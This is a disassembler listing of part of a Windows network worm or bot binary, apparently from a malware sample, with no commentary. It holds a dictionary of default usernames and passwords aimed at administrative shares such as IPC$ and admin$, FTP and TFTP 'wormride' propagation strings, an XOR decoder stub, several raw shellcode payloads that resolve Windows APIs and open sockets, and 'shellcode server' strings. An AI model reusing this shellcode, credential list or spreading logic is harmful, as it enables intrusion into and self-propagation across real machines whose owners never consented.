		dd offset aAdministrador ; "administrador"
; ---------------------------------------------------------------------------
		aam	0C4h
		inc	ecx
		add	al, cl
		les	eax, [ecx+0]
		rol	ah, 41h
		add	[eax-4BFFBE3Ch], bh
		les	eax, [ecx+0]
		sbb	al, 0C2h
		inc	ecx
		add	[eax], bl
		retn	41h
; ---------------------------------------------------------------------------
		adc	al, 0C2h
		inc	ecx
		add	[eax], cl
		retn	41h
; ---------------------------------------------------------------------------
		cld
		rol	dword ptr [ecx+0], 0F4h
		rol	dword ptr [ecx+0], 0F0h
		rol	dword ptr [ecx+0], 0E4h
		rol	dword ptr [ecx+0], 0DCh
		rol	dword ptr [ecx+0], 0D8h
		rol	dword ptr [ecx+0], 0D4h
		rol	dword ptr [ecx+0], 0D0h
		rol	dword ptr [ecx+0], 0CCh
		rol	dword ptr [ecx+0], 0C8h
		rol	dword ptr [ecx+0], 0C0h
		rol	dword ptr [ecx+0], 0B8h
		rol	dword ptr [ecx+0], 0B0h
		rol	dword ptr [ecx+0], 0A8h
		rol	dword ptr [ecx+0], 9Ch
		rol	dword ptr [ecx+0], 90h
		rol	dword ptr [ecx+0], 84h
		rol	dword ptr [ecx+0], 7Ch
		rol	dword ptr [ecx+0], 70h
		rol	dword ptr [ecx+0], 68h
		rol	dword ptr [ecx+0], 60h
		rol	dword ptr [ecx+0], 50h
		xchg	eax, edx
		inc	ecx
		add	[eax-3Fh], bl
		inc	ecx
		add	[eax+44004198h], dl
		xchg	eax, edx
		inc	ecx
		add	[eax-3Fh], dl
		inc	ecx
		add	[eax-3Fh], cl
		inc	ecx
		add	[eax-3Fh], al
		inc	ecx
		add	al, dl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, cl
		retn
; ---------------------------------------------------------------------------
		dw 41h
		dd offset aDemo		; "demo"
		dd offset aComputer	; "computer"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aDefault	; "default"
		dd offset aSystem	; "system"
		dd offset aServer_0	; "server"
		dd offset aRoot		; "root"
		dd offset aNull		; "null"
		dd offset aTemp		; "temp"
		dd offset aTemp123	; "temp123"
		dd offset aQwerty	; "qwerty"
		dd offset aMail		; "mail"
		dd offset aOutlook	; "outlook"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aSex		; "sex"
		dd offset aLetmein	; "letmein"
		dd offset aAccounts	; "accounts"
		dd offset aAccounting	; "accounting"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser		; "user"
		dd offset aOem		; "oem"
		dd offset aOemuser	; "oemuser"
		dd offset aOeminstall	; "oeminstall"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aWindows	; "windows"
		dd offset aWin98	; "win98"
		dd offset aWin2k	; "win2k"
		dd offset aWinxp	; "winxp"
		dd offset aWinnt	; "winnt"
		dd offset aWin2000	; "win2000"
		dd offset aQaz		; "qaz"
		dd offset aAsd		; "asd"
		dd offset aZxc		; "zxc"
		dd offset aQwe		; "qwe"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
; ---------------------------------------------------------------------------
		clc
		retn
; ---------------------------------------------------------------------------
		dw 41h
; ---------------------------------------------------------------------------
		adc	ah, al
		inc	ecx
		add	al, dh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	ah, ch
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	ah, ah
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, ah
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, bl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, al
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax-4FFFBE3Dh], bh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax-3Ch], al
		inc	ecx
		add	[eax-5FFFBE3Dh], ch
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax-40h], bh
		inc	ecx
		add	[eax+eax*8+41h], ch
		add	[ebx+eax*8-3C73FFBFh], dl
		inc	ecx
		add	[eax-40h], ah
		inc	ecx
		add	[eax-40h], bl
		inc	ecx
		add	[eax-40h], dl
		inc	ecx
		add	[eax-40h], cl
		inc	ecx
		add	al, dh
		rol	byte ptr [ecx+0], 88h
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax-40h], al
		inc	ecx
		add	[eax], bh
		rol	byte ptr [ecx+0], 30h
		rol	byte ptr [ecx+0], 28h
		rol	byte ptr [ecx+0], 80h
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax+eax*8], bl
		inc	ecx
		add	[eax+eax*8], cl
		inc	ecx
		add	[ebx+eax*8+41h], dh
		add	[ebx+eax*8+41h], ch
		add	[eax+eax*8], al
		inc	ecx
		add	al, bh
		mov	edi, 0BFE80041h
		inc	ecx
		add	[ebx+eax*8+41h], ah
		add	ah, dl
		mov	edi, 0BFD00041h
		inc	ecx
		add	ah, cl
		mov	edi, 0BFC40041h
		inc	ecx
		add	[eax-3Dh], ah
		inc	ecx
		add	[ebx+eax*8+41h], bl
		add	[eax-5BFFBE41h], dh
		mov	edi, 0C3540041h
		inc	ecx
		add	[eax-3Dh], dl
		inc	ecx
		add	[eax-3Dh], cl
		inc	ecx
		add	[eax-3Dh], al
		inc	ecx
		add	[eax], bh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax], dh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax-67FFBE41h], ah
		mov	edi, 0BF940041h
		inc	ecx
		add	[eax], ch
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax], ah
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[edi+edi*4-407BFFBFh], cl
		inc	ecx
		add	[eax], bl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[ebx+eax*8], dl
		inc	ecx
		add	[esp+eax*8+41h], dh
		add	[eax], cl
		retn
; ---------------------------------------------------------------------------
		dw 41h
		dd offset aStudent	; "student"
; ---------------------------------------------------------------------------
		clc
		retn	41h
; ---------------------------------------------------------------------------
		dd offset aTeacher	; "teacher"
		dd offset aStaff	; "staff"
		dd 0
aWinpass	db 'winpass',0
aBlank		db 'blank',0
		align 4
aXp_0		db 'xp',0
		align 4
aNokia		db 'nokia',0
		align 10h
aHp		db 'hp',0
		align 4
aOrainstall	db 'orainstall',0
		align 10h
aSqlpassoainsta	db 'sqlpassoainstall',0
		align 4
aDb1234		db 'db1234',0
		align 4
aDb2		db 'db2',0
aDb1		db 'db1',0
aDatabasepasswo	db 'databasepassword',0
		align 4
aDatabasepass	db 'databasepass',0
		align 4
aDbpassword	db 'dbpassword',0
		align 4
aDbpass		db 'dbpass',0
		align 4
aDomainpassword	db 'domainpassword',0
		align 4
aDomainpass	db 'domainpass',0
		align 4
aHello		db 'hello',0
		align 10h
aHell		db 'hell',0
		align 4
aLove		db 'love',0
		align 10h
aMoney		db 'money',0
		align 4
aSlut		db 'slut',0
		align 10h
aBitch		db 'bitch',0
		align 4
aFuck		db 'fuck',0
		align 10h
aExchange	db 'exchange',0
		align 4
aLoginpass	db 'loginpass',0
		align 4
aLogin		db 'login',0
		align 10h
aQwe		db 'qwe',0              ; DATA XREF: .data:0041BE4Co
aZxc		db 'zxc',0              ; DATA XREF: .data:0041BE48o
aAsd		db 'asd',0              ; DATA XREF: .data:0041BE44o
aQaz		db 'qaz',0              ; DATA XREF: .data:0041BE40o
aWin2000	db 'win2000',0          ; DATA XREF: .data:0041BE3Co
aWinnt		db 'winnt',0            ; DATA XREF: .data:0041BE38o
		align 10h
aWinxp		db 'winxp',0            ; DATA XREF: .data:0041BE34o
		align 4
aWin2k		db 'win2k',0            ; DATA XREF: .data:0041BE30o
		align 10h
aWin98		db 'win98',0            ; DATA XREF: .data:0041BE2Co
		align 4
aWindows	db 'windows',0          ; DATA XREF: .data:0041BE28o
aOeminstall	db 'oeminstall',0       ; DATA XREF: .data:0041BE20o
		align 4
aOem		db 'oem',0              ; DATA XREF: .data:0041BE18o
aAccounting	db 'accounting',0       ; DATA XREF: .data:0041BE08o
		align 4
aAccounts	db 'accounts',0         ; DATA XREF: .data:0041BE04o
		align 4
aLetmein	db 'letmein',0          ; DATA XREF: .data:0041BE00o
aSex		db 'sex',0              ; DATA XREF: .data:0041BDFCo
aOutlook	db 'outlook',0          ; DATA XREF: .data:0041BDECo
aMail		db 'mail',0             ; DATA XREF: .data:0041BDE8o
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: .data:0041BDE4o
		align 4
aTemp123	db 'temp123',0          ; DATA XREF: .data:0041BDE0o
aTemp		db 'temp',0             ; DATA XREF: .data:0041BDDCo
		align 4
aNull		db 'null',0             ; DATA XREF: .data:0041BDD8o
		align 4
aDefault	db 'default',0          ; DATA XREF: .data:0041BDC8o
aChangeme	db 'changeme',0         ; DATA XREF: .data:0041BDC4o
		align 4
aDemo		db 'demo',0             ; DATA XREF: .data:0041BDB4o
		align 10h
aTest		db 'test',0
		align 4
a2005		db '2005',0
		align 10h
a2004		db '2004',0
		align 4
a2001		db '2001',0
		align 10h
aSecret		db 'secret',0
		align 4
aPayday		db 'payday',0
		align 10h
aDeadline	db 'deadline',0
		align 4
aWork		db 'work',0
		align 4
a1234567890	db '1234567890',0
		align 10h
a123456789	db '123456789',0
		align 4
a12345678	db '12345678',0
		align 4
a1234567	db '1234567',0
a123456		db '123456',0
		align 4
a12345		db '12345',0
		align 10h
a1234		db '1234',0
		align 4
a123		db '123',0
a12		db '12',0
		align 10h
a1:
		unicode	0, <1>,0
a007		db '007',0
aPwd		db 'pwd',0
aPass		db 'pass',0
		align 4
aPass1234	db 'pass1234',0
		align 10h
aDba		db 'dba',0
aPasswd		db 'passwd',0
		align 4
aPassword	db 'password',0         ; DATA XREF: .data:0041D768o
		align 4
aPassword1	db 'password1',0
		align 4
aAbc		db 'abc',0
aAb		db 'ab',0
		align 4
aA_1:
		unicode	0, <a>,0
aIpc		db 'IPC$',0             ; DATA XREF: .data:0041BD04o
		align 4
aPrint		db 'print$',0
		align 10h
aCDocumentsAndS	db 'C$\Documents and Settings\All Users\Documents\$',0
aAdmin_0	db 'admin$',0
		align 4
aAdminSystem32	db 'Admin$\system32',0
aCWindowsSystem	db 'c$\windows\system32',0 ; DATA XREF: .data:0041BCF0o
aCWinntSystem32	db 'c$\winnt\system32',0
		align 10h
aCWindows	db 'c$\windows',0
		align 4
aCWinnt		db 'c$\winnt',0
		align 4
aEShared	db 'e$\shared',0
		align 4
aDShared	db 'd$\shared',0        ; DATA XREF: .data:0041BCDCo
		align 10h
aCShared	db 'c$\shared',0
		align 4
aE_0		db 'e$',0
		align 10h
aD		db 'd$',0               ; DATA XREF: .data:0041BCD0o
		align 4
aC_0		db 'c$',0               ; DATA XREF: .data:0041BCCCo
		align 4
aStaff		db 'staff',0            ; DATA XREF: .data:0041BCC4o
					; .data:0041BF7Co
		align 10h
aTeacher	db 'teacher',0          ; DATA XREF: .data:0041BCC0o
					; .data:0041BF78o
aOwner		db 'owner',0
		align 10h
aStudent	db 'student',0          ; DATA XREF: .data:0041BCB8o
					; .data:0041BF70o
aIntranet	db 'intranet',0
		align 4
aLan_0		db 'lan',0
aMain		db 'main',0             ; DATA XREF: .data:00416ACAo
					; .data:00416AECo
		align 10h
aOffice		db 'office',0
		align 4
aControl	db 'control',0
aSiemens	db 'siemens',0
aCompaq		db 'compaq',0
		align 10h
aDell		db 'dell',0
		align 4
aCisco		db 'cisco',0
		align 10h
aIbm		db 'ibm',0
aOracle		db 'oracle',0
		align 4
aSql		db 'sql',0
aSa		db 'sa',0
		align 4
aData		db 'data',0
		align 4
aAccess		db 'access',0
		align 4
aDatabase	db 'database',0
		align 10h
aDomain		db 'domain',0
		align 4
aGod		db 'god',0
aBackup		db 'backup',0
		align 4
aTechnical	db 'technical',0
		align 10h
aMary		db 'mary',0
		align 4
aKatie		db 'katie',0
		align 10h
aKate		db 'kate',0
		align 4
aGeorge		db 'george',0
		align 10h
aEric		db 'eric',0
		align 4
aNone		db 'none',0
		align 10h
aGuest		db 'guest',0
		align 4
aChris		db 'chris',0
		align 10h
aIan		db 'ian',0
aNeil		db 'neil',0
		align 4
aLee		db 'lee',0
aBrian		db 'brian',0
		align 4
aSusan		db 'susan',0
		align 10h
aSue		db 'sue',0              ; DATA XREF: .data:0041BC24o
					; .data:0041BE78o
aSam		db 'sam',0              ; DATA XREF: .data:0041BC20o
					; .data:0041BE74o
aLuke		db 'luke',0             ; DATA XREF: .data:0041BC1Co
					; .data:0041BE70o
		align 10h
aPeter		db 'peter',0            ; DATA XREF: .data:0041BC18o
					; .data:0041BE6Co
		align 4
aJohn		db 'john',0             ; DATA XREF: .data:0041BC14o
					; .data:0041BE68o
		align 10h
aMike		db 'mike',0             ; DATA XREF: .data:0041BC10o
					; .data:0041BE64o
		align 4
aBill		db 'bill',0             ; DATA XREF: .data:0041BC0Co
					; .data:0041BE60o
		align 10h
aFred		db 'fred',0             ; DATA XREF: .data:0041BC08o
					; .data:0041BE5Co
		align 4
aJoe		db 'joe',0              ; DATA XREF: .data:0041BC04o
					; .data:0041BE58o
aJen		db 'jen',0              ; DATA XREF: .data:0041BC00o
					; .data:0041BE54o
aBob		db 'bob',0              ; DATA XREF: .data:0041BBFCo
					; .data:0041BE50o
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: .data:0041BBF8o
					; .data:0041BE24o
		align 10h
aOemuser	db 'oemuser',0          ; DATA XREF: .data:0041BBF4o
					; .data:0041BE1Co
aUser		db 'user',0             ; DATA XREF: .data:0041BBF0o
					; .data:0041BE14o
		align 10h
aHomeuser	db 'homeuser',0         ; DATA XREF: .data:0041BBECo
					; .data:0041BE10o
		align 4
aHome		db 'home',0             ; DATA XREF: .data:0041BBE8o
					; .data:0041BE0Co
		align 4
aInternet	db 'internet',0         ; DATA XREF: .data:0041BBE4o
					; .data:0041BDF8o
		align 10h
aWww		db 'www',0              ; DATA XREF: .data:0041BBE0o
					; .data:0041BDF4o
aWeb		db 'web',0              ; DATA XREF: .data:0041BBDCo
					; .data:0041BDF0o
aRoot		db 'root',0             ; DATA XREF: .data:0041BBD8o
					; .data:0041BDD4o
		align 10h
aServer_0	db 'server',0           ; DATA XREF: .data:0041BBD4o
					; .data:0041BDD0o
		align 4
aLinux		db 'linux',0            ; DATA XREF: .data:0041BBCCo
					; .data:0041BDC0o
		align 10h
aUnix		db 'unix',0             ; DATA XREF: .data:0041BBC8o
					; .data:0041BDBCo
		align 4
aComputer	db 'computer',0         ; DATA XREF: .data:0041BBC4o
					; .data:0041BDB8o
		align 4
aAdm		db 'adm',0              ; DATA XREF: .data:0041BBC0o
aAdmin		db 'admin',0            ; DATA XREF: .data:0041BBBCo
		align 10h
aAdmins		db 'admins',0           ; DATA XREF: .data:0041BBB8o
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: .data:0041BBB4o
aAdministrateur	db 'administrateur',0   ; DATA XREF: .data:0041BBB0o
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: .data:0041BBACo
					; .data:0041BD14o
		align 4
aAdministrator	db 'administrator',0    ; DATA XREF: .data:0041BBA8o
					; .data:0041BD10o
		align 4
a231		db '231 -',0Dh,0Ah,0    ; DATA XREF: sub_41113B:loc_4119BAo
a221		db '221 -',0Dh,0Ah,0    ; DATA XREF: sub_41113B+843o
dword_41C514	dd 1471A0h		; DATA XREF: sub_41113B+834r
		align 10h
unk_41C520	db  2Dh	; -		; DATA XREF: sub_41113B+80Do
		db 3, 30h, 34h
		db    2
		db 25h,	73h, 3
		db    2
aU_TransferToSC	db '- %u. Transfer to %s complete.',0
aFtp_0		db 'ftp',0              ; DATA XREF: sub_41113B+808o
dword_41C54C	dd 16BF48h		; DATA XREF: sub_41113B+73Er
		dd 2 dup(0)
dword_41C558	dd 20363232h, 0A0D2Dh	; DATA XREF: sub_41113B+6F7o
					; sub_41113B+7AAo
aX32000Fh1024Ja	db '-x 3 2000 fh 1024 Jan 1 0:00 .',0Dh,0Ah ; DATA XREF: sub_41113B+6AFo
		db 'drwxr-xr-x 3 2000 fh 1024 Jan 1 0:00 ..',0Dh,0Ah
		db '-rwxr-xr-x 3 2000 fh %u Jan 1 0:00 %s',0Dh,0Ah,0
		align 4
a150		db '150 -',0Dh,0Ah,0    ; DATA XREF: sub_41113B+5C7o
					; sub_41113B+751o
dword_41C5DC	dd 1192A0h		; DATA XREF: sub_41113B+5B4r
		dd 2 dup(0)
dword_41C5E8	dd 20333132h, 0A0D7525h, 0 ; DATA XREF:	sub_41113B+56Do
dword_41C5F4	dd 9AAA8h		; DATA XREF: sub_41113B+4EDr
		align 10h
aUUUUUU		db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_41113B+427o
		align 4
dword_41C614	dd 10E3A0h		; DATA XREF: sub_41113B+3EAr
		align 10h
dword_41C620	dd 20353234h, 0A0D2Dh	; DATA XREF: sub_41113B+3A3o
dword_41C628	dd 123230h		; DATA XREF: sub_41113B+394r
		dd 2 dup(0)
dword_41C634	dd 20303032h, 0A0D2Dh	; DATA XREF: sub_41113B+34Do
					; sub_41113B+4A6o
dword_41C63C	dd 949E8h		; DATA XREF: sub_41113B+33Er
		dd 2 dup(0)
dword_41C648	dd 20373532h, 20222F22h, 0A0D2Dh ; DATA	XREF: sub_41113B+2F7o
dword_41C654	dd 238A0h		; DATA XREF: sub_41113B+2E8r
		dd 0
dword_41C65C	dd 20313132h, 0A0D2Dh	; DATA XREF: sub_41113B+2A1o
dword_41C664	dd 0B3160h		; DATA XREF: sub_41113B+292r
		align 10h
dword_41C670	dd 20353132h, 0A0D2Dh	; DATA XREF: sub_41113B+24Bo
dword_41C678	dd 9B2A0h		; DATA XREF: sub_41113B+23Cr
		dd 2 dup(0)
dword_41C684	dd 20303332h, 0A0D2Dh	; DATA XREF: sub_41113B+1E1o
dword_41C68C	dd 1230E8h		; DATA XREF: sub_41113B+1C8r
		dd 2 dup(0)
dword_41C698	dd 20313333h, 0A0D2Dh	; DATA XREF: sub_41113B+181o
dword_41C6A0	dd 128588h		; DATA XREF: sub_41113B+16Br
		dd 2 dup(0)
dword_41C6AC	dd 0A0D20h		; DATA XREF: sub_41113B+E9o
					; sub_41113B+115o ...
dword_41C6B0	dd 20303232h, 0A0D2Dh	; DATA XREF: sub_41113B+13o
dword_41C6B8	dd 303332h		; DATA XREF: sub_411A09+193o
dword_41C6BC	dd 53534150h, 0A0D3120h, 0 ; DATA XREF:	sub_411A09+11Do
dword_41C6C8	dd 313333h		; DATA XREF: sub_411A09+F9o
dword_41C6CC	dd 52455355h, 0A0D3120h, 0 ; DATA XREF:	sub_411A09:loc_411A8Ao
dword_41C6D8	dd 303232h		; DATA XREF: sub_411A09+63o
unk_41C6DC	db  2Dh	; -		; DATA XREF: sub_411BBC+115o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aRunningFtpWorm	db '- Running FTP wormride thread',0
		align 4
a127_0_0_1	db '127.0.0.1',0        ; DATA XREF: sub_411BBC+6Eo
		align 10h
aFtpWormrideThr	db 'FTP wormride thread',0 ; DATA XREF: sub_411D68+36o
dword_41C724	dd 4000500h, 7868746Bh,	0 ; DATA XREF: sub_411DC5+5E2o
unk_41C730	db  2Dh	; -		; DATA XREF: sub_411DC5+5BDo
		db 3, 30h, 34h
		db    2
		db 25h,	73h, 3
		db    2
aU_TftpTransfer	db '- %u. tftp transfer to %s complete.',0
		align 10h
aWormride	db 'wormride',0         ; DATA XREF: sub_411DC5+5B8o
		align 4
dword_41C76C	dd 1000500h, 656C6946h,	746F4E20h, 756F4620h, 646Eh
					; DATA XREF: sub_411DC5+367o
aOctet		db 'octet',0            ; DATA XREF: sub_411DC5+333o
					; sub_411DC5+345o
		align 4
unk_41C788	db  2Dh	; -		; DATA XREF: sub_411DC5+144o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aRunningTftpWor	db '- Running TFTP wormride thread',0
aTftpWormrideTh	db 'TFTP wormride thread',0 ; DATA XREF: sub_4123F6+2Bo
		align 4


loc_41C7C8:				; DATA XREF: sub_4125DF+50o
		jmp	short loc_41C7DF
; ---------------------------------------------------------------------------


loc_41C7CA:				; CODE XREF: .data:loc_41C7DFp
		mov	ecx, 0
		xor	ecx, 0
		pop	esi


loc_41C7D6:				; CODE XREF: .data:0041C7DBj
		xor	byte ptr [ecx+esi-1], 0
		loop	loc_41C7D6
		jmp	short near ptr dword_41C7E4
; ---------------------------------------------------------------------------


loc_41C7DF:				; CODE XREF: .data:loc_41C7C8j
		call	loc_41C7CA
; ---------------------------------------------------------------------------
dword_41C7E4	dd 0			; CODE XREF: .data:0041C7DDj
dword_41C7E8	dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h
					; DATA XREF: sub_4124A0+CBo
		dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h,	338B04C3h
		dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h
		dd 5EEBD1D8h, 3245E03h,	0B8B66DFh, 31C5E8Bh, 8B048BDFh
		dd 5B5EC703h, 685EE0FFh, 3233h,	32737768h, 92BA545Fh, 0FF84046Eh
		dd 81F88BD6h, 200ECh, 53EC8B00h, 26A016Ah, 835383BAh, 53D6FF00h
		dd 6853h, 2680000h, 8B000000h, 6AD88BD4h, 0BA535210h, 5A603063h
		dd 0B450D6FFh, 53555002h, 605800BAh, 0BFD6FFE2h, 0
; ---------------------------------------------------------------------------
		jmp	ebp
; ---------------------------------------------------------------------------
		align 4
dword_41C89C	dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h
					; DATA XREF: sub_4124A0+8Co
		dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h,	338B04C3h
		dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h
		dd 5EEBD1D8h, 3245E03h,	0B8B66DFh, 31C5E8Bh, 8B048BDFh
		dd 5B5EC703h, 685EE0FFh, 3233h,	32737768h, 92BA545Fh, 0FF84046Eh
		dd 81F88BD6h, 200ECh, 53EC8B00h, 26A016Ah, 835383BAh, 53D6FF00h
		dd 2685353h, 8B000000h,	6AD88BD4h, 0BA535210h, 0C2A69000h
		dd 5040D6FFh, 3B7ABA53h, 0D6FFA173h, 0BA535050h, 69D310h
		dd 0D88BD6FFh, 0B450C033h, 53555002h, 605800BAh, 0BFD6FFE2h
		dd 0
; ---------------------------------------------------------------------------
		jmp	ebp
; ---------------------------------------------------------------------------
		align 4
dword_41C964	dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h
					; DATA XREF: sub_4124A0+36o
		dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h,	338B04C3h
		dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h
		dd 5EEBD1D8h, 3245E03h,	0B8B66DFh, 31C5E8Bh, 8B048BDFh
		dd 5B5EC703h, 685EE0FFh, 3233h,	32737768h, 92BA545Fh, 0FF84046Eh
		dd 81F88BD6h, 200ECh, 6AEC8B00h, 55544310h, 7232BA53h
		dd 0D6FF1979h, 27D8166h, 0ED751111h, 22047D81h,	75222222h
		dd 2B450E4h, 0BA535550h, 0E2605800h, 7D81D6FFh,	20EC8300h
		dd 0BFEA758Bh, 0
; ---------------------------------------------------------------------------
		jmp	ebp
; ---------------------------------------------------------------------------
		align 4
dword_41CA18	dd 8B20EC83h, 45D89ECh,	81007D89h, 200ECh, 14658900h, 8B64DB33h
					; DATA XREF: sub_412720+71o
		dd 408B3043h, 1C708B0Ch, 8788BADh, 0E8087D89h, 45h, 5F8B5653h
		dd 3B5C8B3Ch, 53DF0378h, 3205B8Bh, 0C38353DFh, 3338B04h
		dd 0ACC933F7h, 0C1C1C832h, 75C08405h, 75CA2BF6h, 0D82B58E9h
		dd 35EEBD1h, 0DF03245Eh, 8B0B8B66h, 0DF031C5Eh,	38B048Bh
		dd 0FF5B5EC7h, 33685EE0h, 68000032h, 5F327377h,	6E92BA54h
		dd 0D6FF8404h, 8B0C4589h, 46A53F8h, 475FF55h, 669000BAh
		dd 83D6FFE0h, 850F04F8h, 0C5h, 0E8087D8Bh, 0Dh,	3 dup(0)
		dd 18458F00h, 6A026A53h, 68535301h, 0C0000000h,	0BA1875FFh
		dd 5C6BD33Dh, 4589D6FFh, 840F401Ch, 8Dh, 330C7D8Bh, 2B450C0h
		dd 1475FF50h, 0BA0475FFh, 0E2605800h, 7D8BD6FFh, 74C08508h
		dd 41C88B1Eh, 8D535774h, 5051104Dh, 0FF1475FFh,	0B9BA1C75h
		dd 0FFCBF5BEh, 74C085D6h, 0FFC5EB40h, 5CBA1C75h, 0FF9DC593h
		dd 58446AD6h, 0FC8BE02Bh, 33ABD78Bh, 59106AC0h,	8BFDE2ABh
		dd 5252087Dh, 50505050h, 0FF505050h, 2CBA1875h,	0FF2694F1h
		dd 0C7FE58D6h, 1BA5053h, 0FFDE34D6h, 1C75FFD6h,	0C5935CBAh
		dd 0FFD6FF9Dh, 3DBA1875h, 0FF27CF53h, 0C7D8BD6h, 0BA0475FFh
		dd 7315685h, 7D8BD6FFh,	46BABA08h, 0D6FFC10Ch
		db 0
byte_41CB95	db 0E3h			; DATA XREF: sub_4125DF+CFr
					; sub_4125DF+E4w
		align 4
dword_41CB98	dd 4113E68Bh		; DATA XREF: sub_4125DF+60r
					; sub_4125DF+75w
		align 10h
off_41CBA0	dd offset loc_41CC28	; DATA XREF: sub_4127D0+77r
; ---------------------------------------------------------------------------
		sbb	al, 0CCh
		inc	ecx
		add	[esp+ecx*8], dl
		inc	ecx
		add	ah, bh
		retf
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, dh
		retf
; ---------------------------------------------------------------------------
		inc	ecx
		add	[esp+ecx*8], dl
		inc	ecx
		add	ah, bl
		retf
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, dl
		retf
; ---------------------------------------------------------------------------
		dw 41h
		dd offset dword_41CC14
		align 10h
		dd 0A3DCCCEEh, 0B7h, 0
		dd 0FAC18FACh, 0C9F7BFE2h, 0A387EFFBh, 2 dup(0)
		dd 0A1D7CCE7h, 2 dup(0)
aMpRRdJ		db '¬ÁÜÆÁ×êIJà„׆Ï',0
		align 10h
		dd 0
dword_41CC14	dd 2 dup(0)		; DATA XREF: .data:0041CBC0o
					; .data:off_41DA48o ...
dword_41CC1C	dd 0A1D6CDEAh, 2 dup(0)	; DATA XREF: .data:off_41DA44o
; ---------------------------------------------------------------------------


loc_41CC28:				; DATA XREF: .data:off_41CBA0o
					; .data:off_41DA40o
		lodsb
		pop	ecx
		jmp	edx
; ---------------------------------------------------------------------------
		db 0E8h, 0FCh, 0C3h
		dd 0B492F6B1h, 0E6AEF0E3h, 0B0h, 0
dword_41CC40	dd 72h			; DATA XREF: sub_412A3A:loc_412B93o
dword_41CC44	dd 62h			; DATA XREF: sub_412BC9:loc_412D11o
dword_41CC48	dd 63h			; DATA XREF: sub_412D56:loc_412DC8o
dword_41CC4C	dd 3430032Dh, 3752502h,	52202D02h, 696E6E75h, 7320676Eh
					; DATA XREF: sub_412E04+64o
		dd 6C6C6568h, 65646F63h, 72657320h, 20726576h, 70206E6Fh
		dd 2074726Fh, 2343003h,	2037325h, 0
dword_41CC84	dd 6C656853h, 646F636Ch, 65732065h, 72657672h, 206E6F20h
					; DATA XREF: sub_412F07+98o
		dd 74726F70h, 34300320h, 3752502h, 2
byte_41CCA8	db 0BBh			; DATA XREF: sub_41294E+3Co
					; sub_41294E+4Co ...
		db 9Fh,	80h, 0FCh
		dd 0B1h, 2 dup(0)
		dd 0EE000000h, 0DACFh, 3 dup(0)
		db 2 dup(0)
dword_41CCCE	dd 9BE2C8F6h		; DATA XREF: sub_41294E+2Br
					; sub_412FC6+31r ...
dword_41CCD2	dd 0			; DATA XREF: sub_412FC6+57w
					; sub_414052+B5r ...
off_41CCD6	dd offset sub_410649	; DATA XREF: sub_41294E+1Cr
					; sub_412FC6+18r ...
		dw 3
		dd 0
		dd 99B10000h, 0F8E2E19Bh, 0FAh,	2 dup(0)
		dd 0DAC8EB00h, 4 dup(0)
		dd 0B6EA61CEh, 0
		dd offset sub_410B52
		dd 3, 10h dup(0)
dword_41CD58	dd 6E695728h, 293233h	; DATA XREF: sub_41308F+217o
dword_41CD60	dd 696E5528h, 2978h	; DATA XREF: sub_41308F+1F1o
dword_41CD68	dd 63617041h, 252F6568h, 75h ; DATA XREF: sub_41308F+1DFo
aApache		db 'Apache',0           ; DATA XREF: sub_41308F+1B9o
		align 4
aMicrosoftIisU_	db 'Microsoft-IIS/%u.%u',0 ; DATA XREF: sub_41308F+130o
aMicrosoftIis	db 'Microsoft-IIS',0    ; DATA XREF: sub_41308F+FCo
		align 10h
aServer		db 'Server:',0          ; DATA XREF: sub_41308F+7Ao
aOptionsHttp1_0	db 'OPTIONS / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41308F+Bo
		db 0Dh,0Ah,0
		align 10h
unk_41CDC0	db  53h	; S		; DATA XREF: sub_41349C+5E4o
		db 63h,	61h, 6Eh
		db  6Eh	; n
		db 65h,	64h, 20h
		db    3
		db 30h,	34h, 2
		db  25h	; %
		db 73h,	3, 2
